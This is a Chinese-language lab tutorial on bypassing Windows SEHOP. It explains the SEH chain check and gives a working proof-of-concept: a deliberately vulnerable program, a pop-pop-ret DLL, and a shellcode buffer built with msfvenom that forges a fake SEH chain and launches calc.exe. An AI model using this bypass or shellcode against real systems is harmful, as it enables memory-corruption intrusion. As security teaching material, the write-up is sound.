1.1 SEHOP保護機制
1.1.1 SEHOP工作原理:
SEHOP保護機制的核心就是檢查SEH鏈的完整性,其驗證代碼如下:
BOOL RtlIsValidHandler(handler)
{
if (handler is in an image) {
if (image has the IMAGE_DLLCHARACTERISTICS_NO_SEH flag set)
return FALSE;
if (image has a SafeSEH table)
if (handler found in the table)
return TRUE;
else
return FALSE;
if (image is a .NET assembly with the ILonly flag set)
return FALSE;
// fall through
}
if (handler is on a non-executable page) {
if (ExecuteDispatchEnable bit set in the process flags)
return TRUE;
else
// enforce DEP even if we have no hardware NX
raise ACCESS_VIOLATION;
}
if (handler is not in an image) {
if (ImageDispatchEnable bit set in the process flags)
return TRUE;
else
return FALSE; // don't allow handlers outside of images
}
// everything else is allowed
return TRUE;
}
[...]
// Skip the chain validation if the
DisableExceptionChainValidation bit is set
if (process_flags & 0x40 == 0) {
// Skip the validation if there are no SEH records on the
// linked list
if (record != 0xFFFFFFFF) {
// Walk the SEH linked list
do {
// The record must be on the stack
if (record < stack_bottom || record > stack_top)
goto corruption;
// The end of the record must be on the stack
if ((char*)record + sizeof(EXCEPTION_REGISTRATION) > stack_top)
goto corruption;
// The record must be 4 byte aligned
if ((record & 3) != 0)
goto corruption;
handler = record->handler;
// The handler must not be on the stack
if (handler >= stack_bottom && handler < stack_top)
goto corruption;
record = record->next;
} while (record != 0xFFFFFFFF);
// End of chain reached
// Is bit 9 set in the TEB->SameTebFlags field?
// This bit is set in ntdll!RtlInitializeExceptionChain,
// which registers FinalExceptionHandler as an SEH handler
// when a new thread starts.
if ((TEB->word_at_offset_0xFCA & 0x200) != 0) {
// The final handler must be ntdll!FinalExceptionHandler
if (handler != &FinalExceptionHandler)
goto corruption;
}
}
}
在程序轉入異常處理前,SEHOP會檢查SEH鏈上最后一個異常處理函數是否為系統固定的終極異常處理函數,如果是,則說明這條SEH鏈沒有被破壞,程序可以去執行道歉的異常處理函數,如果檢測到最后一個異常處理函數不是終極異常處理函數,那說明SHE鏈被破壞,程序將不會執行當前的異常處理函數。
1.1.2 SEHOP繞過思路:
作為SafeSEH強有力的補充,SEHOP檢查是在RtlIsVaildHandler函數校驗前進行的,也就是說之前我們繞過SafeSEH機制用到過的利用加載模塊之外的地址,堆地址和未啟用SafeSEH模塊的方法都行不通了。
那么面對新的挑戰,應該怎么辦?
l 攻擊返回地址或者虛函數
l 利用未啟用SEHOP的模塊
l 偽造SHE鏈
1.1.3 通過偽造SEHOP鏈繞過SEHOP保護機制
⑴. 原理分析:
SEHOP的原理就是檢測SEH鏈中最后一個異常處理函數的指針是否指向一個固定的終極異常處理函數,那么,我們在在溢出是偽造一個SEH鏈,就可以繞過SEHOP了。
⑵.環境准備:
i.實驗代碼:
生成沒有SafeSEH保護的dll文件的代碼。
#include "stdafx.h"
BOOL APIENTRY DllMain( HANDLE hModule,DWORD ul_reason_for_call, LPVOID lpReserved)
{
return TRUE;
}
void jump()
{
__asm{
pop eax
pop eax
retn
}
}
生成沒有ASLR和DEP保護的exe文件。
#include "stdafx.h"
#include <string.h>
#include <windows.h>
char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x2c\xFF\x12\x00"//address of last seh record
"\x12\x10\x12\x11"//address of pop pop retn in No_SafeSEH module
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
"\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
"\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
"\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
"\x8d\x5d\x6a\x01\x8d\x85\xb2\x00\x00\x00\x50\x68\x31\x8b\x6f"
"\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5"
"\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a"
"\x00\x53\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00"
"\x90\x90\x90"
"\xFF\xFF\xFF\xFF"// the fake seh record
"\x95\xe1\xbd\x77"
;
DWORD MyException(void)
{
printf("There is an exception");
getchar();
return 1;
}
void test(char * input)
{
char str[200];
//strcpy(str,input);
memcpy(str,input,460);
int zero=0;
__try
{
zero=1/zero;
}
__except(MyException())
{
}
}
int _tmain(int argc, _TCHAR* argv[])
{
HINSTANCE hInst = LoadLibrary(_T("SEH_NOSafeSEH_JUMP.dll"));//load No_SafeSEH module
char str[200];
//__asm int 3
test(shellcode);
return 0;
}
ii.測試環境:
測試平台:Windows 7 32位
注冊表設置DisableExceptionChainVaildation值為0。
開啟SEHOP保護機制。
編譯環境:
編譯器:visual 2008
exe文件:
關閉ASLR,DEP。
Dll文件:
不開啟任何的保護機制。
⑶.調試分析:
i.查看緩沖區溢出前的SEH鏈:
得到,第一個異常處理函數指針為0x0012fe58,最終SEH鏈異常處理函數值為0x77bde195。
ii.確定緩沖區大小:
緩沖區從0x0012fd80開始,大小為0xd8=216字節。
iii.跳板地址:
還是用之前的OllyFindAddr插件,得到PPR跳板地址:0x11121012
⑷.攻擊過程:
i.計算溢出量:
我們的目的是用跳板地址覆蓋函數返回地址以達到控制EIP的目的,是程序挑戰到payload執行。
為什么不直接用payload的起始地址覆蓋返回地址?
因為,exe文件的異常處理函數是有SafeSEH保護機制保護的,直接覆蓋會報錯的。而dll文件沒有SafeSEH機制的保護,所以可以利用dll文件中的指令作為跳板,控制EIP。
溢出量 =異常處理函數指針–緩沖區起始地址= 0x0012fe58-0x0012fd80=216字節。
ii.偽造SEH鏈
為了繞過SEHOP保護機制,就應該偽造一個最終的異常處理函數,這個最終的異常處理函數應該符合以下要求:
l 偽造最終異常處理函數指針應該與真實的相同(0x77bde195)
l 偽造最終異常處理函數指針前4字節(SEH鏈指針)應為0xFFFFFFFF
l SEH鏈指針地址應該能被4整除(SEHOP工作原理中介紹的驗證函數中可以看到相關的判斷)。
iii.生成payload
msfvenom -a x86 --platform windows -p windows/exec cmd=calc.exe -f c
iv.構造shellcode
綜上所述,shellcode結構如下:
v.執行攻擊
成功。